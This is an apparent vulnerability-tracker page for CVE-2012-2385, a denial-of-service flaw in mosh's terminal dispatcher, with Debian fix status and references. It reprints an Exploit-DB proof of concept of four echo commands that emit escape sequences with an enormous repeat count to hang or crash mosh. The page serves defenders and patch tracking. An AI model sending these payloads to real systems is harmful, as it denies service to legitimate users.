CVE-2012-2385
Description
The terminal dispatcher in mosh before 1.2.1 allows remote authenticated users to cause a denial of service (long loop and CPU consumption) via an escape sequence with a large repeat count value.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mosh - Remote Denial of Service
source: https://www.securityfocus.com/bid/53646/info
Mosh is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause the affected application to crash or to enter an endless loop, denying service to legitimate users.
echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647@"
echo -en "\e[2147483647P"
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.2.1-1 |
| sid | Fixed | 1.2.1-1 |
| forky | Fixed | 1.2.1-1 |
| bullseye | Fixed | 1.2.1-1 |
| bookworm | Fixed | 1.2.1-1 |
Application impact
References
- http://lists.fedoraproject.org/pipermail/package-announce/2012-June/082766.html
- http://lists.fedoraproject.org/pipermail/package-announce/2012-June/082814.html
- http://lists.fedoraproject.org/pipermail/package-announce/2012-June/082850.html
- http://secunia.com/advisories/49260
- http://www.openwall.com/lists/oss-security/2012/05/22/9
- http://www.securityfocus.com/bid/53646
- https://bugzilla.redhat.com/show_bug.cgi?id=823943
- https://exchange.xforce.ibmcloud.com/vulnerabilities/75779
- https://github.com/keithw/mosh/blob/master/ChangeLog
- https://github.com/keithw/mosh/commit/9791768705528e911bfca6c4d8aa88139035060e
- https://github.com/keithw/mosh/issues/271
- https://security-tracker.debian.org/tracker/CVE-2012-2385
CWEs
CWE-399
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.